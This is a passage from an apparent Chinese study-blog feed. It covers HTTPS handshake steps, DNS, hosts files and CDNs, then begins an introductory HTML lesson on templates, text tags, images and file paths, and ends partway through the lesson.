&lt;pre&gt;&lt;code&gt;	HTTPS协议是由HTTP加上TLS/SSL协议构建的可进行加密传输、身份认证的网络协议，主要通过数字证书、加密算法、非对称密钥等技术完成互联网数据传输加密，实现互联网传输安全保护。
	
1、客户端将它所支持的算法列表和一个用作产生密钥的随机数发送给服务器；

2、服务器从算法列表中选择一种加密算法，并将它和一份包含服务器公用密钥的证书发送给客户端；该证书还包含了用于认证目的的服务器标识，服务器同时还提供了一个用作产生密钥的随机数；

3、客户端对服务器的证书进行验证（有关验证证书，可以参考数字签名），并抽取服务器的公用密钥；然后，再产生一个称作pre_master_secret的随机密码串，并使用服务器的公用密钥对其进行加密（参考非对称加/解密），并将加密后的信息发送给服务器；

4、客户端与服务器端根据pre_master_secret以及客户端与服务器的随机数值独立计算出加密和MAC密钥（参考DH密钥交换算法）；

5、客户端将所有握手消息的MAC值发送给服务器；

6、服务器将所有握手消息的MAC值发送给客户端。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-05-network-protocols/55d2e72846-1698505457236.png&quot; alt=&quot;1698505457236&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h4&gt;4、思考引入2&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-05-network-protocols/e8aefeb463-1698505528911.png&quot; alt=&quot;1698505528911&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;5、证书&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-05-network-protocols/67a8568d85-1698505623656.png&quot; alt=&quot;1698505623656&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-05-network-protocols/ed3d20c916-QQ%E5%9B%BE%E7%89%8720231028230730.jpg&quot; alt=&quot;QQ图片20231028230730&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;6、HTTP和HTTPS的区别&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;1.SSL证书需要购买申请，功能越强大的证书费用越高

2.SSL证书通常需要绑定IP，不能在同一IP上绑定多个域名，IPv4资源不可能支撑这个消耗（SSL有扩展可以部分解决这个问题，但是比较麻烦，而且要求浏览器、操作系统支持，WindowsXP就不支持这个扩展，考虑到XP的装机量，这个特性几乎没用）。

3.根据ACMCoNEXT数据显示，使用HTTPS协议会使页面的加载时间延长近50%，增加10%到20%的耗电。

4.HTTPS连接缓存不如HTTP高效，流量成本高。

5.HTTPS连接服务器端资源占用高很多，支持访客多的网站需要投入更大的成本。

6.HTTPS协议握手阶段比较费时，对网站的响应速度有影响，影响用户体验。比较好的方式是采用分而治之，类似12306网站的主页使用HTTP协议，有关于用户信息等方面使用HTTPS。

7.HTTP是超文本传输协议，信息是明文传输，HTTPS则是具有安全性的ssl/tls加密传输协议。

8.HTTP和HTTPS使用的是完全不同的连接方式，用的端口也不一样，前者是80，后者是443。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;三、DNS协议&lt;/h3&gt;
&lt;h4&gt;1、域名&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	域名（英语：DomainName），又称网域，是由一串用点分隔的名字组成的Internet上某一台计算机或计算机组的名称，用于在数据传输时对计算机的定位标识。
	
	尽管IP地址能够唯一地标记网络上的计算机，但IP地址是一长串数字，不直观，而且用户记忆十分不方便，于是人们又发明了另一套字符型的地址方案，即所谓的域名地址。IP地址和域名是一一对应的，这份域名地址的信息存放在一个叫域名服务器(DNS，Domainname server)的主机内，使用者只需了解易记的域名地址，其对应转换工作就留给了域名服务器。域名服务器就是提供IP地址和域名之间的转换服务的服务器。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-05-network-protocols/e729030f45-1698505801882.png&quot; alt=&quot;1698505801882&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;2、DNS&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	域名系统（DomainNameSystem，缩写：DNS）是互联网的一项服务。它作为将域名和IP地址相互映射的一个分布式数据库，能够使人更方便地访问互联网。DNS使用TCP和UDP端口53。当前，对于每一级域名长度的限制是63个字符，域名总长度则不能超过253个字符。DNS协议是用来将域名转换为IP地址（也可以将IP地址转换为相应的域名地址）。
	
	常见的DNS服务器：114.114.114.114（国内运营商通用）8.8.8.8（谷歌）218.85.157.99 （福州电信）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-05-network-protocols/4b85c7b4af-1698505859174.png&quot; alt=&quot;1698505859174&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h4&gt;3、Hosts&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	Hosts是一个没有扩展名的系统文件，可以用记事本等工具打开，其作用就是将一些常用的网址域名与其对应的IP地址建立一个关联“数据库”，当用户在浏览器中输入一个需要登录的网址时，系统会首先自动从Hosts文件中寻找对应的IP地址，一旦找到，系统会立即打开对应网页，如果没有找到，则系统会再将网址提交DNS域名解析服务器进行IP地址的解析。
	
需要注意的是，Hosts文件配置的映射是静态的，如果网络上的计算机更改了请及时更新IP地址，否则将不能访问。

一般位于电脑的C:\Windows\System32\drivers\etc目录下。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-05-network-protocols/c6f9bee790-1698505953813.png&quot; alt=&quot;1698505953813&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;4、CDN&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	CDN的全称是ContentDeliveryNetwork，即内容分发网络。CDN是构建在现有网络基础之上的智能虚拟网络，依靠部署在各地的边缘服务器，通过中心平台的负载均衡、内容分发、调度等功能模块，使用户就近获取所需内容，降低网络拥塞，提高用户访问响应速度和命中
率。CDN的关键技术主要有内容存储和分发技术。

工作原理：

1、用户向浏览器提供要访问的域名;

2、浏览器调用域名解析函数库对域名进行解析，以得到此域名对应的IP地址;

3、浏览器使用所得到的IP地址，域名的服务主机发出数据访问请求;

4、浏览器根据域名主机返回的数据显示网页的内容。
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Web 前端基础</title><link>https://wangyi187.top/posts/web-06-web-frontend/</link><guid isPermaLink="true">https://wangyi187.top/posts/web-06-web-frontend/</guid><description>0x06 Web前端基础 HTML HTML 01 一、知识点 HTML软件、模板、标签属性、常用标签：文本标签、文本修饰标签、图片标签、链接标签、列表标签 二、目标 1、熟悉软件</description><pubDate>Sun, 24 Dec 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;0x06 Web前端基础&lt;/h1&gt;
&lt;hr /&gt;
&lt;h1&gt;HTML&lt;/h1&gt;
&lt;h2&gt;HTML-01&lt;/h2&gt;
&lt;h3&gt;一、知识点&lt;/h3&gt;
&lt;p&gt;HTML软件、模板、标签属性、常用标签：文本标签、文本修饰标签、图片标签、链接标签、列表标签&lt;/p&gt;
&lt;h3&gt;二、目标&lt;/h3&gt;
&lt;p&gt;1、熟悉软件【VScode】&lt;/p&gt;
&lt;p&gt;2、初步了解什么是前端&lt;/p&gt;
&lt;p&gt;3、了解HTML在前端中的作用&lt;/p&gt;
&lt;p&gt;4、熟练使用常用标签，能够根据不同情景选择合适标签&lt;/p&gt;
&lt;h3&gt;三、内容分析&lt;/h3&gt;
&lt;h4&gt;（一）重点&lt;/h4&gt;
&lt;p&gt;1、标签、标签属性、链接标签&lt;/p&gt;
&lt;h4&gt;（二）难点&lt;/h4&gt;
&lt;p&gt;1、软件使用&lt;/p&gt;
&lt;p&gt;2、标签属性&lt;/p&gt;
&lt;h3&gt;四、内容&lt;/h3&gt;
&lt;h4&gt;(一) 前端&lt;/h4&gt;
&lt;h5&gt;&lt;strong&gt;1.1 什么是前端&lt;/strong&gt;&lt;/h5&gt;
&lt;p&gt;​	百度百科：前端即&lt;a href=&quot;https://baike.baidu.com/item/%E7%BD%91%E7%AB%99%E5%89%8D%E5%8F%B0/4849916?fromModule=lemma_inlink&quot;&gt;网站前台&lt;/a&gt;部分，运行在&lt;a href=&quot;https://baike.baidu.com/item/PC/107?fromModule=lemma_inlink&quot;&gt;PC&lt;/a&gt;端，&lt;a href=&quot;https://baike.baidu.com/item/%E7%A7%BB%E5%8A%A8/22826?fromModule=lemma_inlink&quot;&gt;移动&lt;/a&gt;端等&lt;a href=&quot;https://baike.baidu.com/item/%E6%B5%8F%E8%A7%88%E5%99%A8/213911?fromModule=lemma_inlink&quot;&gt;浏览器&lt;/a&gt;上展现给用户浏览的网页。随着&lt;a href=&quot;https://baike.baidu.com/item/%E4%BA%92%E8%81%94%E7%BD%91%E6%8A%80%E6%9C%AF/617749?fromModule=lemma_inlink&quot;&gt;互联网技术&lt;/a&gt;的发展，&lt;a href=&quot;https://baike.baidu.com/item/HTML5/4234903?fromModule=lemma_inlink&quot;&gt;HTML5&lt;/a&gt;，&lt;a href=&quot;https://baike.baidu.com/item/CSS3/4059544?fromModule=lemma_inlink&quot;&gt;CSS3&lt;/a&gt;，前端框架的应用，&lt;a href=&quot;https://baike.baidu.com/item/%E8%B7%A8%E5%B9%B3%E5%8F%B0/8558902?fromModule=lemma_inlink&quot;&gt;跨平台&lt;/a&gt;响应式网页设计能够适应各种屏幕分辨率，合适的动效设计，给用户带来极高的用户体验。&lt;/p&gt;
&lt;p&gt;​	概述：直面群体为普通用户的软件、网页等可视交互界面，主要用于展示信息、数据和用户交互。&lt;/p&gt;
&lt;h5&gt;&lt;strong&gt;1.2 网页前端学什么&lt;/strong&gt;&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;基础&lt;/p&gt;
&lt;p&gt;HTML 、CSS 、JavaScript、DOM、BOM&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;进阶&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;JQuery、 JSON、Ajax、ES6&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;提升&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Vue、Webpack、Axios、Element-UI、小程序&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(二) 软件安装&lt;/h4&gt;
&lt;h5&gt;2.1 安装VScode&lt;/h5&gt;
&lt;p&gt;&lt;a href=&quot;https://code.visualstudio.com/Download&quot;&gt;Download Visual Studio Code - Mac, Linux, Windows&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;安装插件【Chinese】汉化&lt;/li&gt;
&lt;li&gt;安装插件【live server】&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;&lt;strong&gt;2.2 安装MarkDown阅读软件&lt;/strong&gt;&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;Typora下载：&lt;a href=&quot;https://typoraio.cn/&quot;&gt;Typora 官方中文站 (typoraio.cn)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;MarkText下载：&lt;a href=&quot;https://github.com/marktext/marktext/releases/download/v0.17.1/marktext-setup.exe&quot;&gt;MarkText - from github&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;&lt;strong&gt;2.3 浏览器&lt;/strong&gt;&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;Edge&lt;/li&gt;
&lt;li&gt;Chrome：&lt;a href=&quot;https://www.google.cn/chrome/index.html&quot;&gt;Google Chrome 网络浏览器&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Firfox：&lt;a href=&quot;http://www.firefox.com.cn/&quot;&gt;Firefox 火狐浏览器 - 全新、安全、快速 | 官方最新下载&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(三) HTML文件&lt;/h4&gt;
&lt;h5&gt;&lt;strong&gt;3.1 模板&lt;/strong&gt;&lt;/h5&gt;
&lt;p&gt;html的编码规则规定，必须是以下格式的代码，才能在浏览器中被正确解析，因此每一份html文件，都在以下模板基础上，在&lt;code&gt;&amp;lt;body&amp;gt;&amp;lt;/body&amp;gt;&lt;/code&gt;标签区域中编写自定义代码。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;!-- 指明文档类型为html，让浏览器用html标准解析 --&amp;gt;
&amp;lt;html lang=&quot;en&quot;&amp;gt; &amp;lt;!-- 根标签，页面代码的起点 --&amp;gt;
    &amp;lt;head&amp;gt; &amp;lt;!--head标签：引用脚本、样式、提供元信息等 --&amp;gt;
        &amp;lt;!-- 元信息：设置网页使用国际编码，防止出现乱码--&amp;gt;
        &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt; 
        &amp;lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=edge&quot;&amp;gt;
        &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&amp;gt;
        &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt;
    &amp;lt;/head&amp;gt;
    &amp;lt;!-- 编写代码的区域，也是最终页面会显示的内容 --&amp;gt;
    &amp;lt;body&amp;gt;
		网页显示的区域
    &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;&lt;strong&gt;3.2 模板生成快捷键&lt;/strong&gt;&lt;/h5&gt;
&lt;p&gt;&lt;code&gt;.html&lt;/code&gt;文件中，输入&lt;code&gt;!&lt;/code&gt;(英文)  + 回车&lt;/p&gt;
&lt;h5&gt;&lt;strong&gt;3.3 注释&lt;/strong&gt;&lt;/h5&gt;
&lt;p&gt;代码中能看到，但不会显示在页面中。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;&amp;lt;!--  这是个注释  --&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;快捷键(vscode)&lt;/strong&gt;： &lt;code&gt;ctrl + /&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;作用&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;​	1. 屏蔽暂时不用的代码。&lt;/p&gt;
&lt;p&gt;​	2. 对代码进行标记提示，提高代码的可阅读性，可维护性。&lt;/p&gt;
&lt;h4&gt;(四) 标签&lt;/h4&gt;
&lt;h5&gt;&lt;strong&gt;4.1 双标签&lt;/strong&gt;&lt;/h5&gt;
&lt;p&gt;一种标签形式，除了单标签（input、img等），都是双标签。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;语法：&lt;/strong&gt;&lt;code&gt;&amp;lt;标签名&amp;gt; &amp;lt;/标签名&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;h5&gt;&lt;strong&gt;4.2 单标签&lt;/strong&gt;&lt;/h5&gt;
&lt;p&gt;一种标签形式，只有特殊单标签（input、img等）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;语法：&lt;/strong&gt;&lt;code&gt;&amp;lt;标签名/&amp;gt;&lt;/code&gt;或者&lt;code&gt;&amp;lt;标签名&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;h5&gt;&lt;strong&gt;4.3 标签域&lt;/strong&gt;&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;双标签&lt;/strong&gt;中的内容填写区域，可以写文字也可以嵌套其他标签。理论上标签可以无限嵌套，形成一棵标签树。&lt;/p&gt;
&lt;h5&gt;&lt;strong&gt;4.4 标签属性&lt;/strong&gt;&lt;/h5&gt;
&lt;p&gt;用来修饰标签，设置标签的一些功能。&lt;/p&gt;
&lt;p&gt;一个标签可以有多个属性(空格隔开)，有些标签有独有属性(后续具体介绍)。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;&amp;lt;标签  属性1=&quot;值1&quot; 属性2=&quot;值2&quot; &amp;gt;  &amp;lt;/标签&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;h5&gt;&lt;strong&gt;4.5 通用属性&lt;/strong&gt;&lt;/h5&gt;
&lt;p&gt;&lt;code&gt;id&lt;/code&gt;、&lt;code&gt;class&lt;/code&gt;、&lt;code&gt;title&lt;/code&gt; 等。&lt;/p&gt;
&lt;h4&gt;(五) 标题与段落标签&lt;/h4&gt;
&lt;h5&gt;&lt;strong&gt;5.1 标题标签&lt;/strong&gt;&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;&amp;lt;h1&amp;gt; - &amp;lt;h6&amp;gt;&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;用于快速设置不同大小的标题。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;一级标题&amp;lt;/h1&amp;gt;
&amp;lt;h2&amp;gt;二级标题&amp;lt;/h2&amp;gt;
&amp;lt;h3&amp;gt;三级标题&amp;lt;/h3&amp;gt;
&amp;lt;h4&amp;gt;四级标题&amp;lt;/h4&amp;gt;
&amp;lt;h5&amp;gt;五级标题&amp;lt;/h5&amp;gt;
&amp;lt;h6&amp;gt;六级标题&amp;lt;/h6&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/ba875336ee-image-20221109160640520.png&quot; alt=&quot;image-20221109160640520&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;&lt;strong&gt;5.2 段落标签&lt;/strong&gt;&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;&amp;lt;p&amp;gt; &amp;lt;/p&amp;gt;&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;用于快速设置段落文本，自带段落首行缩进效果。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;你可以剥开一颗金黄诱人的蜜柚，然后打开家里的音响，放上一曲理查德.克莱德曼的《秋日私语》，带着美好的心情，随着钢琴王子那带着魔力的十指，进入一种美妙的境界.在优美的旋律中，你仿佛听到了，秋天那沙沙的脚步声，正渐渐的向你走来，向你微笑.琴声向你展现了，一片秋日的窃喜.你看到了，片片的树叶飘了起来，摇曳着随风而去.&amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt;你还可以捧着一本古书，在梧桐树下的躺椅上，随着片片飘落的黄叶，去感悟古人悲秋的情怀.看看稼轩“觉人间，万事到秋来，都摇落”的感慨，品拼秦观“秋容老尽芙蓉院，草上霜花匀似翦”的心境.或者为刘禹锡 “晴空一鹤排云上，便引诗情到碧霄！”赞上一笔，总之，这是一种很逍遥的感觉.&amp;lt;/p&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/7baeab7fda-image-20221109160838489-16988105697241.png&quot; alt=&quot;image-20221109160838489&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(六) 文本修饰标签&lt;/h4&gt;
&lt;h5&gt;&lt;strong&gt;6.1 加粗文本&lt;/strong&gt;&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;&amp;lt;strong&amp;gt; &amp;lt;/strong&amp;gt;&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;用于快速设置文本加粗效果。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;
    10月18日，&amp;lt;strong&amp;gt;中国共产党第十九次全国代表大会&amp;lt;/strong&amp;gt;在北京人民大会堂开幕。
&amp;lt;/p&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/443cbf7d61-image-20221109160943840.png&quot; alt=&quot;image-20221109160943840&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;&lt;strong&gt;6.2 斜体文本&lt;/strong&gt;&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;&amp;lt;em&amp;gt; &amp;lt;/em&amp;gt;&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;用于快速设置文本斜体效果。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;
    10月18日，中国共产党第十九次全国代表大会在&amp;lt;em&amp;gt;北京人民大会堂&amp;lt;/em&amp;gt;开幕。
&amp;lt;/p&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/b93d8583ce-image-20221109161150466.png&quot; alt=&quot;image-20221109161150466&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;&lt;strong&gt;6.3 上标文本&lt;/strong&gt;&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;&amp;lt;sup&amp;gt; &amp;lt;/sup&amp;gt;&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;用于快速设置文本作为上标效果。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- 标注 --&amp;gt;
&amp;lt;p&amp;gt;
    10月18日，中国共产党第十九次全国代表大会&amp;lt;sup&amp;gt;[1]&amp;lt;/sup&amp;gt;在北京人民大会堂&amp;lt;sup&amp;gt;[2]&amp;lt;/sup&amp;gt;开幕。
&amp;lt;/p&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- 数学函数 --&amp;gt;
&amp;lt;p&amp;gt;
    y = x&amp;lt;sup&amp;gt;2&amp;lt;/sup&amp;gt; + 1
&amp;lt;/p&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/564ddfc3a9-image-20221109161247296.png&quot; alt=&quot;image-20221109161247296&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;&lt;strong&gt;6.4 下标文本&lt;/strong&gt;&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;&amp;lt;sub&amp;gt; &amp;lt;/sub&amp;gt;&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;用于快速设置文本作为下标效果。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- 标注 --&amp;gt;
&amp;lt;p&amp;gt;
    10月18日，中国共产党第十九次全国代表大会&amp;lt;sub&amp;gt;[1]&amp;lt;/sub&amp;gt;在北京人民大会堂&amp;lt;sub&amp;gt;[2]&amp;lt;/sub&amp;gt;开幕。
&amp;lt;/p&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- 数学函数 --&amp;gt;
&amp;lt;p&amp;gt;
    y=log&amp;lt;sub&amp;gt;a&amp;lt;/sub&amp;gt;x
&amp;lt;/p&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/07704455e4-image-20221109161329115.png&quot; alt=&quot;image-20221109161329115&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;&lt;strong&gt;6.5 删除文本&lt;/strong&gt;&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;&amp;lt;del&amp;gt; &amp;lt;/del&amp;gt;&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;用于快速设置文本有一个删除线的效果,来描述文档中的删除。&lt;/p&gt;
&lt;h5&gt;案例&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- 错别字更改 --&amp;gt;
&amp;lt;p&amp;gt;
    家乡变得更文明了！人们过马路，不再着急；人&amp;lt;del&amp;gt;门&amp;lt;/del&amp;gt;们说话，更加注意礼貌。
&amp;lt;/p&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/bd4b3222fe-image-20221109161512170.png&quot; alt=&quot;image-20221109161512170&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;&lt;strong&gt;6.6 添加文本&lt;/strong&gt;&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;&amp;lt;ins&amp;gt; &amp;lt;/ins&amp;gt;&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;用于快速设置文本有一个下划线的效果,来描述文档中的更新和修正。&lt;/p&gt;
&lt;h5&gt;案例&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- 插入文本 --&amp;gt;
&amp;lt;p&amp;gt;
    家乡变得更文明了！&amp;lt;ins&amp;gt;人们过马路，不再着急；人们说话，更注意礼貌。&amp;lt;/ins&amp;gt;
&amp;lt;/p&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/60f8283ba6-image-20221109161548009-16988132780647.png&quot; alt=&quot;image-20221109161548009&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(七) 图片标签&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;&amp;lt;img src=&quot;&quot; alt=&quot;&quot;&amp;gt;&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;引用一张图片。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;**src：**图片的文件地址 【磁盘地址（相对路径/绝对路径）、网络地址】。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;**alt：**图片不能正常显示的时候，替代显示的文本提示。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- 相对路径  ./当前级   ../上一级 --&amp;gt;



&amp;lt;!-- 绝对路径（开发时  几乎不用） --&amp;gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;(八) 文件引用路径&lt;/h4&gt;
&lt;h5&gt;&lt;strong&gt;8.1 绝对路径&lt;/strong&gt;&lt;/h5&gt;
&lt;p&gt;​	从盘符开始，一级一级逐层到文件的最终位置。形似从【我的电脑】在不同【盘】中寻找文件的过程。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;h5&gt;从盘符【根级】开始查找&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;例&lt;/strong&gt;：&lt;code&gt;C:/Users/desktop/篮球.png&lt;/code&gt;&lt;/p&gt;
&lt;h5&gt;案例&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;在地图上，找到广州市。
地球 -&amp;gt; 中国 -&amp;gt; 找到广东省 -&amp;gt; 找到广州市
路径形式：&quot;地球:/中国/广东省/广州市&quot;

如果移民到火星？？？
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;图解&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/9fb7b254bf-image-20221110150929742-16988133103679.png&quot; alt=&quot;image-20221110150929742&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;&lt;strong&gt;8.2 相对路径&lt;/strong&gt;&lt;/h5&gt;
&lt;p&gt;​	由于代码最终投入使用的服务器环境不同，引用的文件所在的【盘符】可能不同，因此相对路径引用的方式更加适合，也更加常用。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;h5&gt;&lt;code&gt;./&lt;/code&gt;&lt;/h5&gt;
